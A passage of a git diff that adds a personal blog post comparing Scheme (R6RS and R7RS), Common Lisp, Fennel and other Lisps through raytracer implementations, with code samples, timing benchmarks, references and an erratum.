procedure of a different name. + +On the topic of R6RS records, they end up being quite a bit less verbose than +R7RS. This is how a record definition appears in R7RS: + +#+BEGIN_SRC scheme +(define-record-type + (make-vec3 x y z) + vec3? + (x vec3-x) + (y vec3-y) + (z vec3-z)) +#+END_SRC + +And this is how the equivalent record definition appears in R6RS: + +#+BEGIN_SRC scheme +(define-record-type vec3 (fields x y z)) +#+END_SRC + +You wouldn't guess it from the above example, but the =define-record-type= in R6RS +is very flexible. The above is shorthand for + +#+BEGIN_SRC scheme +(define-record-type (vec3 make-vec3 vec3?) + (fields + (immutable x vec3-x) + (immutable y vec3-y) + (immutable z vec3-z))) +#+END_SRC + +Göran Weinholt wrote [[https://weinholt.se/articles/r7rs-vs-r6rs/][an article]] comparing R7RS and R6RS. In it, he mentions that +the reason for R7RS's =define-record-type= verbosity is that the macro system is +incapable of creating new identifiers. Another point for =syntax-case= in my book. +His article also mentions offhandedly that the R6RS record system has been +criticized, but I can't find any in the [[http://www.r6rs.org/formal-comments/][formal comments]] or elsewhere. I think it +kicks ass. + +Much like R7RS, there is a section in the R6RS spec dedicated to "language +changes." This is Appendix E, for those of you following along at home, which is +surprisingly similar to the equivalent section in R7RS. They seemed to aim to +scratch the same itch -- allowing large, non-trivial programs to be written in +Scheme -- in slightly different ways. + +Unlike R7RS, R6RS has a standard =reduce= procedure.[fn:5] Well, by a different +name. It has =fold-left= and =fold-right=, the more general versions of =reduce=. Like +=when= and =unless=, =reduce= is trivial to implement yourself, but it's nice to have +it at the fingertips. + +#+BEGIN_SRC scheme +(define (reduce proc list init) + (define (reduce-iter list result) + (if (null? list) + result + (reduce-iter (cdr list) (proc result (car list))))) + (reduce-iter list init)) +#+END_SRC + +Ah, yes. This is some very [[https://erkin.party/blog/200715/evolution/][typical]] Scheme code. I haven't mentioned it yet, but +Scheme implementations are required to be [[https://en.wikipedia.org/wiki/Tail_call][tail-recursive]] [6]. The above +procedure should compile to a good ol' =jnz= loop on AMD64. I.e. =reduce-iter= does +not actually perform a function call to itself. + +=(rnrs lists (6))= has most of the SRFI-1 procedures I care about. There's =for-all= +instead of =every=, which I initially thought was too close to =for-each= for my +tastes, until I realized the symmetry with =exists= (the two functions represent ∀ +and ∃ in [[https://en.wikipedia.org/wiki/Propositional_calculus][propositional logic]]). R6RS has all the cool stuff from R7RS, like =when=, +=unless=, =case-lambda=, and [[http://www.r6rs.org/final/html/r6rs-lib/r6rs-lib-Z-H-9.html#node_sec_8.2.10][string ports]]. + +The differences between the R7RS and R6RS library systems are, to my +understanding, small. R6RS requires =export= and =import= forms at the beginning of +the library, in that order, but the import and export specs are essentially the +same (=except=, =rename=, ...). + +Performance-wise, Chez is quite a bit better than CHICKEN. + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ time bash -c './r6rs-raytracer > test.ppm' + +real 0m13.665s +user 0m11.645s +sys 0m1.875s + +jakob@Epsilon ~ $ time bash -c './r7rs-raytracer > test2.ppm' + +real 1m12.259s +user 1m11.515s +sys 0m0.598s +#+END_SRC + +where 'r6rs-raytracer' was produced by [[https://github.com/gwatt/chez-exe][chez-exe]] at opt-level 3. The main thing +CHICKEN has going for it is that the Chez executable is "big-boned". + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ strip r6rs-raytracer +jakob@Epsilon ~ $ du -sh r6rs-raytracer +1.7M r6rs-raytracer + +jakob@Epsilon ~ $ strip r7rs-raytracer +jakob@Epsilon ~ $ du -sh r7rs-raytracer +236K r7rs-raytracer +#+END_SRC + +Nearly all of that is coming from including 'petite.boot' verbatim. If I cared +enough to shave that down, I could probably write a tool to do whole-program +dead-code analysis with my code and the boot file sources, but 1.7 megabytes +doesn't make me vomit. It wouldn't fit on a floppy disk, but I've seen Go +binaries that are on the order of gigabytes in size, so it could be worse. + +CHICKEN isn't the fastest R7RS implementation out there, and I was using an +older version of it anyway, so take this hand-wavy benchmark with a grain of +salt. If you consider the Larceny benchmark suite to be a fair comparison, then +[[https://ecraven.github.io/r7rs-benchmarks/][this page]] would suggest that the Gerbil [[https://cons.io/guide/r7rs.html][implementation of R7RS]] is, in general, +faster than the Chez implementation R6RS. The main take-away of that page to me +is that there are fast implementations of both standards. + +The stack trace situation on Chez is even worse than it is with CHICKEN, +unfortunately. Guile is better, but the last time I used it for Guix, variables +being optimized out gave me a massive headache. I yearned for a simple +AST-walking interpreter version. As of a month ago, Andy Wingo has conjured up +something [[https://wingolog.org/archives/2020/06/03/a-baseline-compiler-for-guile][close enough]], but I haven't had the opportunity to try it out yet. + +** Conclusions on Scheme + +Scheme is enjoyable to use. R7RS and R6RS are both quite bare-bones, so I feel I +would need to spend time familiarizing myself with either a subset of the +published SRFI's, or another "utility library" such as Gule's ice-9 to be +productive. R6RS seems to be the nicer of the two from a programmer's +perspective, but they're similar enough that I can see myself being reasonably +happy in either. If I'm going to use a Scheme, the real question is going to be +"which implementation will I use?", which will in turn answer the question of +which standard my code will conform to. + +* Common Lisp + +To my understanding, there isn't an oversimplified stereotype for Common Lisp +hackers in the same way that there is for Schemers. But I think most would agree +Common Lisp is an approach to Lisp that favors pragmatism as opposed to purity +-- which isn't to imply that practical software cannot be written in Scheme. +Like Scheme, Common Lisp is standardized. It's 1,100 pages long [7]. For +reference, the C++17 draft is 1,605 pages long [8]. It isn't a pretty language. +The design was an attempt to unify several older dialects of Lisp. + +#+CAPTION: This self-inflicted joke has become obligatory when speaking about Common Lisp in the context of code aesthetics. +[[file:Lisp Kludge.png]] + +Common Lisp tends to be a good choice for when performance matters. With proper +declarations, its performance is comparable to C [12]. It isn't a common choice +in industry, but there are a few notable success stories. ITA (now Google +Flights) is the one I know about most, as I had a student who was a program +manager for that when I taught as a drum line instructor. There's also Grammarly +and the [[http://flownet.com/gat/jpl-lisp.html][DS1 Remote Agent system]] from NASA's Jet Propulsion Lab. That much would +seem to suggest it'd be an okay choice for my purposes. But this isn't new to +me; I've known that CL is a good choice in that respect for a while now. I'm a +bit more interested in how it fares in terms of language ergonomics and +expressiveness. For starters, =write-ppm= can be quite a bit more compact in +Common Lisp. + +#+BEGIN_SRC common-lisp +(defun write-ppm (width height pixels) + (format t "P3~%~{~a ~}~%255~%~{~{~a ~}~%~}~%" + (list width height) + (coerce pixels 'list))) +#+END_SRC + +I'm being facetious. This works fine, but it's also more or less showing off for +the purpose of showing off. + +I am a little disappointed that the =(coerce pixels 'list)= is necessary. Vectors +are proper sequences in Common Lisp, but =~{~}= only works on lists. Ah, well. +It's disgusting. Don't do it. Here's a more readable implementation: + +#+BEGIN_SRC common-lisp +(defun write-ppm (width height pixels) + "Encode the WIDTH by HEIGHT image given as PIXELS into the portable pixmap +format (PPM), writing the result to `*standard-output*'." + (write-line "P3") + (format t "~a ~a~%" width height) + (write-line "255") + (loop for (r g b) across pixels + do (format t "~a ~a ~a~%" r g b))) +#+END_SRC + +which is still more concise and, arguably, a bit clearer than my Scheme version. +I'm using two behemoths here, =format= and =loop=, which Peter Siebel describes as +the two most controversial features in the language [9]. + +Oh, notice that string I've put at the beginning of the procedure? Here's +something no Scheme implementation I know of besides Guile can do: + +#+BEGIN_SRC common-lisp +CL-USER> (documentation #'write-ppm 'function) +"Encode the WIDTH by HEIGHT image given as PIXELS into the portable pixmap +format (PPM), writing the result to `(current-output-port)'." +#+END_SRC + +So CL has a few niceties off the bat. Many of the "core" forms are shared +between Scheme and Common Lisp, so code tends to be reasonably similar.[fn:4] +Aside from Scheme tending towards the idioms of other functional programming +languages and Common Lisp code often being more or less imperative, there are a +few noticeable differences: + +- Common Lisp supports dynamic scoping, and this is the default for variables + defined at the top-level with =defvar= and =defparameter=. This is usually an + advantage in the code I've read. I think Parenscript's [[https://gitlab.common-lisp.net/parenscript/parenscript/-/blob/master/src/compiler.lisp][compiler.lisp]] is a good + example of this. Dynamic scope does necessitate the =*earmuffs*= naming + convention, however, much like how preprocessor macros in C are =ALL_CAPS= -- in + the interest of keeping your feet free of bullet holes, you want to know when + you're messing with a "special" variable. +- Common Lisp is a [[http://www.nhplace.com/kent/Papers/Technical-Issues.html][Lisp-2 rather than a Lisp-1]]. What this means is that there + are separate namespaces for functions and variables. So if you want to treat a + function named =FOO= as a value, you need to write it as =#'FOO=, and if you want + to call a variable named =FOO= which refers to a function, you will need to + =(FUNCALL FOO)=. In Scheme, =FOO= is either a function or some other value, not + both. So you can refer to =FOO= as a value when it names a function, and you can + invoke it merely as =(FOO)=. +- No proper booleans. Like in C, anything that is not =nil= (=NULL=), the empty + list, is considered to be a truthy value. + +I really enjoyed having =with-accessors= (well, I used =with-slots= for no good +reason). If there were something like that in the Scheme standard, I probably +would have used that instead of my =vec3-bind= macro. Though, I think the /best/ way +of dealing with destructuring things like vectors is pattern matching. + +CLOS is very cool. In my Scheme implementation of the raytracer, I had a few +procedures like this: + +#+BEGIN_SRC scheme +;; If RAY intersects SHAPE with T-MIN ≤ t ≤ T-MAX, return (some . t). Otherwise, +;; return 'none. +(define (intersect ray shape t-min t-max) + (let ((proc (cond ((plane? shape) intersect-plane) + ((sphere? shape) intersect-sphere)))) + (proc ray shape t-min t-max))) +#+END_SRC + +"Explicit dispatch," in SICP terms [13]. I like the data-directed style that +CLOS offers, and I would have used it in my Scheme implementation if there were +standard facilities to support it. Oh, and there was a built-in =PI= constant! In +the Scheme implementation I had to copy an approximation from somewhere. + +#+BEGIN_SRC scheme +;; Convert D, a value in degrees, to radians. +(define (degrees->radians d) + (let ((pi 3.1415926535897932384626433)) + (* d (/ pi 180)))) +#+END_SRC + +I realize that dealing with π isn't common, but if =cos= and =tan= are going to be +included in the standard, why can't =pi=? + +Oh, and having *proper stack traces* was a breath of fresh air. + +Sadly, that's where the niceties end. =t= is a typical name for the variable in a +[[https://web.mit.edu/alexmv/6.037/sicp.pdf][parametric equation]], but it's also the name of the canonical "true" value in CL, +so you can't use it as the name of a parameter. + +#+BEGIN_SRC prog +error: + COMMON-LISP:T names a defined constant, and cannot be used in + an ordinary lambda list. +#+END_SRC + +There was a name clash with =some=, so I had to change the names of my option type +constructors to =make-some= and =make-none=. Also, the shading equation I'm using +gives materials a $p$ parameter, which ends up being a very unfortunate +parameter name for a CL struct. + +#+BEGIN_SRC prog +style-warning: + The structure accessor name MATERIAL-P is the same as the name of the structure + type predicate. ANSI doesn't specify what to do in this case. We'll overwrite + the type predicate with the slot accessor, but you can't rely on this behavior, + so it'd be wise to remove the ambiguity in your code. +#+END_SRC + +Names in Scheme are much nicer than Common Lisp -- here, =MATERIAL-P= is the name +of the predicate function (which tells you if a value is a material). In Scheme, +it would be =material?=. Another difference in naming convention is that Common +Lisp hackers, for some reason, avoid using =->= to denote conversions (i.e. +=degrees->radians=) like you see in Scheme code. It's an aesthetic preference, but +I like Scheme's way of doing it better. + +The library situation with CL is... a bit complex for me. [[https://common-lisp.net/project/asdf/][ASDF]] is a great piece +of software, but I really wish it weren't necessary. A simple library system for +me, thank you. + +That said, there are many more CL libraries in [[https://www.quicklisp.org/beta/][Quicklisp]] (n > 1,500) than there +are Scheme libraries in a comparable registry like [[https://akkuscm.org/][Akku.scm]] (n = 288). + +Performance-wise, SBCL ain't shit. + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ time bash -c 'sbcl --script cl-raytracer.fasl' > test.ppm + +real 0m23.390s +user 0m21.231s +sys 0m2.155s +#+END_SRC + +The fasl was compiled with =(declaim (optimize (speed 3) (space 0) (debug 0)))=, +but I didn't give any type information. To me, this is fast, even if the Chez +executable was faster by a good 10 seconds. + +** Conclusions on Common Lisp + +When I write CL, I'm typically using not one, but two utility libraries +([[https://common-lisp.net/project/alexandria/][Alexandria]] and [[https://github.com/ruricolist/serapeum][Serapeum]]).[fn:6] The spec may be huge, but a lot of what it +guarantees is mostly useless to me, and the baggage that comes with that +complexity makes for a slightly less pleasant experience. However, it's a +battle-tested language with plenty of [[https://elmord.org/blog/?entry=20191114-sbcl-chez][mature implementations]]. If I can get past +its blemishes, I'm certain it would be a good choice for what I'm working on. + +* Fennel + +[[https://fennel-lang.org/][Fennel]], when juxtaposed with Scheme and Common Lisp, seems like some sort of +futuristic space technology. It's the newest of the three, and it has a very +different mouthfeel. Fennel also happens to be the name of one of my favorite +vegetables. It's surprisingly nice to munch on raw. A bit like licorice. + +I learned of Fennel from [[http://technomancy.us/][Phil Hagelberg]], who used it to develop a [[http://technomancy.us/187][real-time +strategy game for the 2018 Lisp Game Jam]]. Inspired by his retelling of the +experience, [[http://jakob.space/blog/slime-the-world-postmortem.html][I used it myself for the autumn edition of that game jam]]. + +The reason for Fennel's uniqueness is that it compiles to and interfaces with +[[https://en.wikipedia.org/wiki/Lua_(programming_language)][Lua]], thus inheriting Lua's semantics. Rather than lists being the principal data +structure, it's tables. Programming in a more functional style is possible, but +you'll eventually need to write some imperative code. + +#+BEGIN_SRC fennel +(fn pack [...] + (var result []) + (let [n (select "#" ...)] + (for [i 1 n] + (tset result i (select i ...)))) + result) + +(fn map [f sequence] + (var result []) + (when sequence + (for [i 1 (# sequence)] + (tset result i (f (. sequence i))))) + result) + +(fn fold [f init sequence] + (var result init) + (when sequence + (for [i 1 (# sequence)] + (set result (f result (. sequence i))))) + result) +#+END_SRC + +Having tables available to me was actually very nice for this specific program. +If you recall, my Scheme implementation of the raytracer used explicit dispatch. +I certainly could have done something similar in Scheme, but it felt very +natural in Fennel to associate the procedures with the instance. For the smaller +procedures, such as =normal-plane=, I could even make use of lexical closure, and +have those procedures capture the arguments passed to the constructor. + +#+BEGIN_SRC fennel +(fn intersect-plane [r shape t-min t-max] + (let [{ :n normal :p0 p0 } shape + { :origin origin :direction direction } r + normal (vec3-normalize normal) + denominator (vec3-dot direction normal)] + (if (~= 0 denominator) + (let [t (/ (vec3-dot (vec3- p0 origin) normal) + denominator)] + (if (<= t-min t t-max) t))))) + +(fn plane [p0 n material] + { + :n n + :p0 p0 + :material material + + :intersect intersect-plane + :normal (fn [] (vec3-normalize n)) + }) +#+END_SRC + +You get Lua's error system, too, which is a little bit like Go's. Fortunately, I +did not need to use it here, because I dropped the option type I was using in +Scheme. My after-the-fact realization that they don't make much sense in +dynamically-typed languages was correct. + +You've probably noticed by now, but Fennel doesn't have the old-school LISP +syntax that Common Lisp and Scheme have. You can't have too many parentheses in +your =let= forms. + +#+BEGIN_SRC fennel +>> (let ((x 1)) x) +Compile error: Compile error in unknown:1 + expected even number of name/value bindings + +(let ((x 1)) x) + ^^^^^^^ +,* Try finding where the identifier or value is missing. +#+END_SRC + +In some cases, your =let= forms won't have any parentheses at all. It's also like +=let*=, in that the initialization form can refer to other variables bound by that +same =let=. Similarly, =if= is basically a =cond=, except that the arms don't need to +be enclosed in parentheses. It all feels rather [[https://srfi.schemers.org/srfi-119/][wispy]] to me, which isn't a bad +thing. Personally, I think Fennel's way of doing it is more aesthetically +pleasing. The benefit of all the parentheses in the old-school LISP =let= is that +you can introduce lexical variables which aren't initialized, so the code in the +=let= body can do something before initializing it. + +#+BEGIN_SRC common-lisp +(let (a) + ... magic! ... + (setf a some-value) + ... magic! ... + a) +#+END_SRC + +But you can't manipulate variables introduced by a =let= in Fennel, so carrying +that detail over doesn't make sense. + +Additionally, =fn= and =lambda= are not what you would expect. Whereas in Scheme, +where =define= produces a named function and =lambda= produces an unnamed function, +both =fn= and =lambda= can be used to produce either named or unnamed functions. The +difference is that =lambda= checks the number of arguments it's been given, while +=fn= does not. This unchecked nature of =fn= makes it quite nice for generic +procedures where you may have unused parameters. + +Syntactic destructuring was my favorite part of using Fennel, especially as +there's support for partial table destructuring: you can omit the fields you +aren't interested in. + +Fennel has support for macros, which gives it quite a leg up over vanilla Lua. +The macro system is modeled on =defmacro=, and thus unhygenic, but at least +there's a reader macro built-in to do the =gensym= dance for you. There's also +=eval-compiler=, which allows you to run arbitrary code at compile-time with +access to the compiler scope, but I haven't thought of a use-case where that +would be necessary. It's worth mentioning that the macro system is much better +than it once was. Fennel didn't have quasiquotation when I used it last; I +basically didn't bother with macros for Slime the World. The built-in macro +library is small. There are [[https://clojure.org/guides/threading_macros][arrow macros]] and the =when= and =unless= forms I've been +raving about since the beginning of this article. + +I had a few unfortunate name clashes. + +#+BEGIN_SRC fennel +Compile error: Compile error in unknown:164 + use of global z1 is aliased by a local + +,* Try renaming local z1. +,* Try refer to the global using _G.z1 instead of directly. +#+END_SRC + + +But the solution this lead me to... + +#+BEGIN_SRC fennel +(fn vec3+ [...] + "Return the sum of VECS, as in vector space addition." + (fold (fn [a b] + (let [{:x α :y β :z γ} a + {:x x :y y :z z} b] + (vec3 (+ α x) (+ β y) (+ γ z)))) + (vec3 0.00 0.00 0.00) + (pack ...))) +#+END_SRC + +... which is surprisingly clear: the Greek letters correspond to one vector, and +the Latin letters correspond to another. I don't know if I'll use this +elsewhere. It's difficult enough to type. + +The issues I was having with =fennel-mode= that I mentioned in my post about Slime +the World seem to still be there, but I was able to fixed them with =M-x +set-variable RET lisp-indent-function RET fennel-indent-function=, which makes me +think that I may have something naughty in my =lisp-mode-hook=. The editor support +beyond that is modest. There's a "go to definition" implementation, and you can +spawn a Fennel REPL in comint. Quite comfy, though I feel as though a potential +project for me would be a =company= backend for Fennel. + +Performance-wise, Fennel isn't bad. Not race car speed, but not like my +grandmother's car either. + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ time bash -c 'fennel fennel-raytracer.fnl > test.ppm' + +real 3m11.183s +user 3m10.805s +sys 0m0.236s +#+END_SRC + +If you drop =luajit= in place of =lua=, you're starting to looking at the speeds my +car's usually going. + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ time bash -c 'fennel fennel-raytracer.fnl > test.ppm' + +real 1m0.591s +user 1m0.335s +sys 0m0.145s +#+END_SRC + +** Conclusions on Fennel + +I'm not sure Fennel will be my "go to" Lisp, at least not right now. But it +seems to be a perfectly fine choice for game development. Having access to LÖVE +and the Lua game development libraries surrounding it is reason enough for me to +consider it. + +* Lisps I've Neglected + +There are a few other Lisps I won't speak about in depth in this article, but +that I'd like to mention for completeness. + +** Emacs Lisp + +Emacs Lisp, or Elisp, is generally [[https://www.emacswiki.org/emacs/WhyDoesElispSuck][hated]]. I don't think it's that bad. It comes +with a subset of the standard functions in Common Lisp that are actually useful. +It's also a Lisp-2 with dynamic scope (by default -- many packages opt-in to a +lexically scoped variant of Emacs Lisp), so writing Elisp feels a lot like +writing Common Lisp, just with buffers as the principal way of manipulating +textual data, and with a very archaic UX API. There's no namespacing, either, so +trying not to step on other people's functions is similar to the situation in C. + +** Gerbil Scheme + +I first heard about [[https://cons.io/][Gerbil]] from François-René Rideau at a Boston Lisp Meetup. +He's [[https://fare.livejournal.com/188429.html][written about it a little bit]] if you want to know why it appeals to a +rather prominent figure in the CL community, but, in brief, it tries to make +Scheme a bit more modern, and it does this by taking a few pages out of CL's +book. + +I was really excited about Gerbil. It has pattern matching, =syntax-case=, and +generic =set!=. There's a kick-ass standard library, too. It has a HTTP +client/server, and support for event-driven and actor-oriented programming, all +built-in. The object system looks like like Common Lisp, with form names like +=defstruct=, =defgeneric= and =defmethod=, and feels like it, too, provided you import +=:std/generic=. There's a separate system for single dispatch, but then invocation +becomes ={method-name}= rather than =(procedure-name)= and... I'm not a fan. + +I gave up on the ray tracer in Gerbil, partly because I felt there was a bit +much to take in to be able to write about it the next day. It's something I'm +going to look into more, because I have a hunch that it _might_ be the perfect +choice for this project. + +My biggest complaint at the moment is the lack of maturity. The build system for +the compiler is ridiculous. Set =GERBIL_BUILD_CORES=1= if you don't want OOM kills +like this: + +#+BEGIN_SRC prog +... compile misc/list +{standard input}: Assembler messages: +{standard input}:510: Warning: end of file not at end of a line; newline inserted +{standard input}:511: Error: expecting operand after ','; got nothing +{standard input}: Error: open CFI at the end of file; missing .cfi_endproc directive +x86_64-pc-linux-gnu-gcc: fatal error: Killed signal terminated program cc1 +compilation terminated. +#+END_SRC + +... with no way to continue the build from where it left off. The documentation +is filled with "Please document me!". If I'm going to invest in Gerbil, I had +better become a part of the development efforts as well. + +There's [[https://cons.io/guide/emacs.html][rudimentary Emacs support]]. I was using [[https://github.com/thunknyc/emacs-treadmill][treadmill]] when I played with it, +which I enjoyed because it had completion support. I'd need to spend some time +hacking on my config if I were to use it seriously. + +** Racket + +[[https://racket-lang.org/][Racket]] (formerly PLT Scheme), like Gerbil, is likely to be exactly what I'm +looking for: a "modern" take on Scheme. It's oriented towards designing +programming languages, and I think that's another similarity that can be drawn +between it and Gerbil, the latter of which boasting a "state of the art macro +... system" [10]. + +Scheme may have schismed, but I think that Racket may be a unifying force for +Schemers. I was once a skeptic, under the impression that it's value was purely +as a teaching language. When Chris told me that he was writing [[https://gitlab.com/spritely][Spritely]] in +Racket, I recall (not saying aloud, but) thinking to myself, "why choose Racket +over Guile?" But the reality is that Racket is incredibly well-designed and has +more of a community surrounding it than any other Scheme. Now that I've given it +a proper glance, I have no doubt that it was an excellent choice there. + +The Racket team is currently [[https://blog.racket-lang.org/2020/02/racket-on-chez-status.html][adopting a new backend]], which I think is promising. +In either case, performance with the current backend is not bad in the +slightest. + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ time bash -c 'racket r6rs-raytracer.scm > test.ppm' + +real 1m7.742s +user 1m6.122s +sys 0m1.794s +#+END_SRC + +This is on the order of CHICKEN's speed. And, bear in mind, this is an old +version of Racket, too -- the most stable version in the Gentoo repositories is +7.0, which is from 2018. + +** Hy + +[[https://docs.hylang.org/en/stable/][Hy]] is a bit like [[http://fennel-lang.org/][Fennel]], except that instead of compiling to Lua, it compiles to +Python. I believe I've heard it called "Python, but with more parentheses," +which is mostly how I feel about it. It's a very interesting project, but +adopting the semantics of Python makes for a distinctly non-Lispy Lisp. Then +again, it's been a good two years or so since I last used it. Take that comment +with a grain of salt. + +In addition to getting the benefits of the Python ecosystem, the editor support +for Python mostly carries over, too. I've had pleasant experiences with [[https://github.com/tkf/emacs-jedi][Jedi]] +while writing Hy code. + +** Janet + +[[https://janet-lang.org/][Janet]] is promising, and I need to look into it more. It's the work of the same +mastermind behind [[http://fennel-lang.org/][Fennel]], and despite carrying a small runtime, it boasts a +rather extensive standard library. It's only about three years old, but there +already seems to be a growing package repository. + +It may not be the most suitable choice for what I'm working on, but I can see +this being a useful scripting language to have in my toolbox. + +** Clojure + +Clojure's license makes it a complete non starter for me, sorry. Live free or +die. + +* Concluding Statements + +Even if I remain undecided, writing this article has given me a good idea of how +enjoyable I find working with each of the dialects I've mentioned. + +The conclusion I'm drawing may seem to be coming out of left field, here, but +now that I have four implementations of the same program, it's clear to me that +the differences at the language level are mostly superficial. I've written here +about how nice it is to have features such as pattern matching and =fold= +out-of-the-box, but a strength common to all of the Lisps I've described here is +that they make it possible for one to implement those features on her own. For +example, if I'm aching for Common Lisp's =&optional= and =&key= arguments in Scheme, +I can implement that myself with a bit of [[http://catb.org/jargon/html/M/macrology.html][macrology]]. This is why I love Lisp. + +Returning to the question I'd initially posed, my choice of dialect shouldn't +matter. But picking one with decent syntactic abstractions available from the +get-go will save me the trouble of making my own batteries. + +This article has been a collection of unfettered opinions which I believe I have +properly supported with truths, but if any of my claims are, in fact, erroneous, +I would encourage you to contact me so that I may piece together an erratum. + +A special thanks to [[https://healeycodes.com/][Andrew Healey]] for providing feedback on an early draft of +this. + +* References + +[1]: McCarthy, John. "Recursive functions of symbolic expressions and their computation by machine, Part I." /Communications of the ACM/ 3, no. 4 (1960): 184-195. Accessed http://www-formal.stanford.edu/jmc/recursive.pdf. + +[2]: Turon, Aaron. "Rust's language ergonomics initiative." Rust Blog, 2014. Accessed https://blog.rust-lang.org/2017/03/02/lang-ergonomics.html. + +[3]: Kalibera, Tomas, and Richard Jones. "Rigorous benchmarking in reasonable time." In Proceedings of the 2013 international symposium on memory management, pp. 63-74. 2013. https://kar.kent.ac.uk/33611/45/p63-kaliber.pdf. + +[4]: "Charter for working group 1." R7RS-small archive, 2009. Accessed http://www.scheme-reports.org/2009/working-group-1-charter.html + +[5]: Shinn, Alex, Cowan, John, Gleckler, Arthur A., Ganz, Steven, Hsu, Aaron W., Lucier, Bradley, Medernach, Emmanuel, Radul, Alexey, Read, Jeffrey T., Rush, David, et al. "6.14. System interface" in "Revised^7 Report on the Algorithmic Language Scheme." pp. 59-61. 2013. Accessed https://small.r7rs.org/attachment/r7rs.pdf. + +[6]: Shinn, Alex, Cowan, John, Gleckler, Arthur A., Ganz, Steven, Hsu, Aaron W., Lucier, Bradley, Medernach, Emmanuel, Radul, Alexey, Read, Jeffrey T., Rush, David, et al. "3.5 Proper tail recursion" in "Revised^7 Report on the Algorithmic Language Scheme." pp. 11-12. 2013. Accessed https://small.r7rs.org/attachment/r7rs.pdf. + +[7]: "The Common Lisp HyperSpec." LispWorks. Accessed http://www.lispworks.com/documentation/common-lisp.html. + +[8]: "ISO/IEC 14882:2017 Programming languages — C++." International Standards Organization, 2017. Accessed https://www.iso.org/standard/68564.html. + +[9]: Seibel, Peter. "18. A Few FORMAT Recipes" in /Practical Common Lisp/. 2003. Accessed http://www.gigamonkeys.com/book/a-few-format-recipes.html. + +[10]: "Modern Scheme Implementation." Gerbil Scheme. Accessed https://cons.io/. + +[11]: Weinholt, Göran. "R7RS versus R6RS." weinholt.se, 2018. Accessed https://weinholt.se/articles/r7rs-vs-r6rs/. + +[12]: Verna, Didier. "How to Make Lisp Go Faster than C." IAENG International Journal of Computer Science 32, no. 4 (2006): 499-504. Accessed http://www.iaeng.org/IJCS/issues_v32/issue_4/IJCS_32_4_19.pdf. + +[13]: Abelson, Harold, and Gerald Jay Sussman. "Systems with Generic Operations" in /Structure and Interpretation of Computer Programs/. The MIT Press, 1996. Accessed https://web.mit.edu/alexmv/6.037/sicp.pdf. + +[fn:1] "Failed" is perhaps somewhat ambiguous here. I put the book down before getting to the second chapter, feeling I wasn't getting as much out of it as I should have been. Nowadays, I attribute this to a general lack of mathematical maturity. I was fourteen at the time, and the closest thing to "rigorous proofs" I had written were the two-column sequential ones you would do in a high school Euclidean geometry class. Coming back to the book now, I've realized that the later sections are largely non-mathematical, and that I probably would have been able to stomach them at that age. That said, I am glad that I came back to the book when I did. The early exercises are enlightening, and I think the additional practice helped me greatly when I went on to study discrete mathematics and algorithms. + +[fn:2] From the R6RS guiding principles: Scheme should "allow educators to use the language to teach programming effectively, at various levels and with a variety of pedagogical approaches; and allow researchers to use the language to explore the design, implementation, and semantics of programming languages." These principles do not appear in R5RS or R7RS, or at least they are not worded in the same way. Perhaps there are some differences among those on the Scheme Language Steering Committee regarding public image? + +[fn:3] /The C Programming Language/, by Brian Kernighan and Dennis Ritchie. + +[fn:4] I'm speaking from relatively little experience. If you have experience with both languages, I'd be interested to hear your take. + +[fn:5] As it turns out, [[https://srfi.schemers.org/srfi-1/srfi-1.html][SRFI-1]] does have a less general =fold= procedure. My statement still stands, as SRFI-1 is not part of R7RS (small). Though, both of the general =fold= procedures /are/ part of R7RS (large) "Red Edition". This is an incredibly minor point, and I speak about the triviality of facts like this in the conclusion section. + +[fn:6] Though, this wasn't the case for my raytracer. I limited myself to vanilla CL. + +* Erratum + +*2020-07-20 11:47*: [[https://lonely.town/@wasamasa/104546888811267712][@wasamasa]] pointed out that the Fennel links in the Hy and Janet sections did not point to the Fennel website. I've updated this in the original text, as there's little reason to leave a mistake like that. Thank you! + +*2020-07-20 12:26*: [[https://mastodon.sdf.org/web/statuses/104547060370665309][@technomancy]] pointed out a few mistakes I'd made in the Fennel section: + +I've removed the following part of my commentary on syntactic destructuring, +because the first example works perfectly fine if you swap the order of =_= and =[r +g b]=. + +--- + +Unfortunately, you can't destructure /everywhere/. You can't write this, for +example: + +#+BEGIN_SRC fennel +(fn write-ppm [image] + (print "P3") + (print (string.format "%d %d" image.width image.height)) + (print "255") + (each [[r g b] _ (ipairs image.pixels)] + (print (string.format "%d %d %d" r g b)))) +#+END_SRC + +Rather, you need to dereference first, destructure second. + +#+BEGIN_SRC fennel +(fn write-ppm [image] + (print "P3") + (print (string.format "%d %d" image.width image.height)) + (print "255") + (for [i 1 (# image.pixels)] + (let [[r g b] (. image.pixels i)] + (print (string.format "%d %d %d" r g b))))) +#+END_SRC + +--- + +Additionally, my original description of the state of editor support was +misleading. It originally read as: + +#+BEGIN_QUOTE +The editor support beyond that is almost non-existent. There's a "go to +definition" implementation, and you can spawn a Fennel REPL in comint, but +there's no way to send something from a source code buffer to the REPL. +#+END_QUOTE + +But, as it turns out, there /is/ a way of sending source code to the REPL with =C-c +C-k=, thanks to =fennel-mode= deriving from =lisp-mode=. So, despite the =fennel-mode= +source code being a very small file, it packs a punch. + +Thanks for the corrections! + +*2020-07-20 13:32*: [[https://octodon.social/@cwebber][@cwebber]] noted that my description of Common Lisp as dynamically-scoped could be clearer, as any variables introduced with =let=, =let*=, ..., actually have lexical extent and do not act dynamically by default. Thanks, Chris! + +*2020-07-20 17:40*: [[https://mastodon.social/@ekaitz_zarraga/104547997623758493][@ekaitz_zarraga]] pointed out that I'd said "Fennel" when I meant to say "Scheme" in "[y]ou've probably noticed by now, but Fennel doesn't have the old-school LISP syntax that Common Lisp and Fennel [sic] have." Thanks! + +*2020-07-20 20:18*: I had made a comment reading "[a]lso, function definitions have to come in order, or your CL compiler is going to yell at you. This is enough to drive me up the wall" in the Common Lisp section. This is true of SLIME when you =C-c C-c=, but it is not the case when you =C-c C-k=, which is what you should be doing to compile a file in SLIME. Nor is it the case for SBCL's =compile-file=. Thanks to [[https://lobste.rs/s/chamtu/many_faces_undying_programming_language#c_9rey5p][travv0]] on lobste.rs and [[https://www.reddit.com/r/lisp/comments/hupqhn/the_many_faces_of_an_undying_programming_language/fyp03t6/][lispm]] on Reddit for pointing this out. diff --git a/haunt/posts/towards-guix-for-devops.org b/haunt/posts/towards-guix-for-devops.org new file mode 100644 index 0000000..85d4525 --- /dev/null +++ 